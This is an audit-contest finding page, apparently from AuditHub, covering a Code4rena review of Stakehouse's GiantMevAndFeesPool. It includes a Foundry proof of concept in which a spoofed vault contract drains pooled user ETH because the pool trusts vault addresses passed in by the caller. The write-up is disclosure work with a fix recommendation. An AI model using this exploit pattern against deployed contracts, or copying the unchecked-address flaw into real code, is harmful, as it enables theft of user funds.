LSD Network - Stakehouse contest - banky's results

A permissionless 3 pool liquid staking solution for Ethereum.

General Information

Platform: Code4rena

Start Date: 11/11/2022

Pot Size: $90,500 USDC

Total HM: 52

Participants: 92

Period: 7 days

Judge: LSDan

Total Solo HM: 20

Id: 182

League: ETH

Stakehouse Protocol

Findings Distribution

Researcher Performance

Rank: 89/92

Findings: 1

Award: $11.19

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

11.192 USDC - $11.19

Labels

bug
3 (High Risk)
satisfactory
duplicate-251

External Links

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/23c3cf65975cada7fd2255a141b359a6b31c2f9c/contracts/liquid-staking/GiantMevAndFeesPool.sol#L48

Vulnerability details

Impact

Loss of all user funds in the GiantMevAndFeesPool contract. This occurs because the batchDepositETHForStaking trusts the staking funds vault contract that is passed in is not malicious

Proof of Concept

I've created a PoC using foundry to demonstrate this issue. I created a malicious StakingFundsVault contract which spoofs the liquidStakingNetworkManager with a valid one. The attacker is then able to withdraw all the idle funds in the pool into the attack contract.

contract StakingFundsVaultAttacker {
    ILiquidStakingManager public liquidStakingNetworkManager;

    constructor(address _liquidStakingNetworkManagerAddress) {
        liquidStakingNetworkManager = ILiquidStakingManager(_liquidStakingNetworkManagerAddress);
    }

    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {

    }
}

function testBatchDepositETHForStakingMev() public {
    address mevUser = accountThree; vm.deal(mevUser, 24 ether);

    // Deposit ETH into giant savETH
    vm.prank(mevUser);
    giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);

    // Deploy ETH from giant LP into savETH pool of LSDN instance
    bytes[][] memory blsKeysForVaults = new bytes[][](1);
    blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

    uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
    stakeAmountsForVaults[0] = getUint256ArrayFromValues(0);

    StakingFundsVaultAttacker sfvAttacker = new StakingFundsVaultAttacker(address(manager));

    giantFeesAndMevPool.batchDepositETHForStaking(
        getAddressArrayFromValues(address(sfvAttacker)),
        getUint256ArrayFromValues(4 ether),
        blsKeysForVaults,
        stakeAmountsForVaults
    );

    // Attacker contract should not be able to get access to user funds, but this test passes
    assertEq(address(sfvAttacker).balance, 4 ether);
}

Tools Used

  • Manual review
  • Forge testing

I found a similar issue with the GiantSavETHVaultPool contract and similarly I would recommend whitelisting the SavETHVault contracts that are called here.

#0 - c4-judge

2022-11-20T21:43:21Z

dmvt marked the issue as duplicate of #36

#1 - c4-judge

2022-11-29T15:33:12Z

dmvt marked the issue as satisfactory

#2 - C4-Staff

2022-12-21T05:40:16Z

JeeberC4 marked the issue as duplicate of #36

#3 - liveactionllama

2022-12-22T08:48:56Z

Duplicate of #251

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter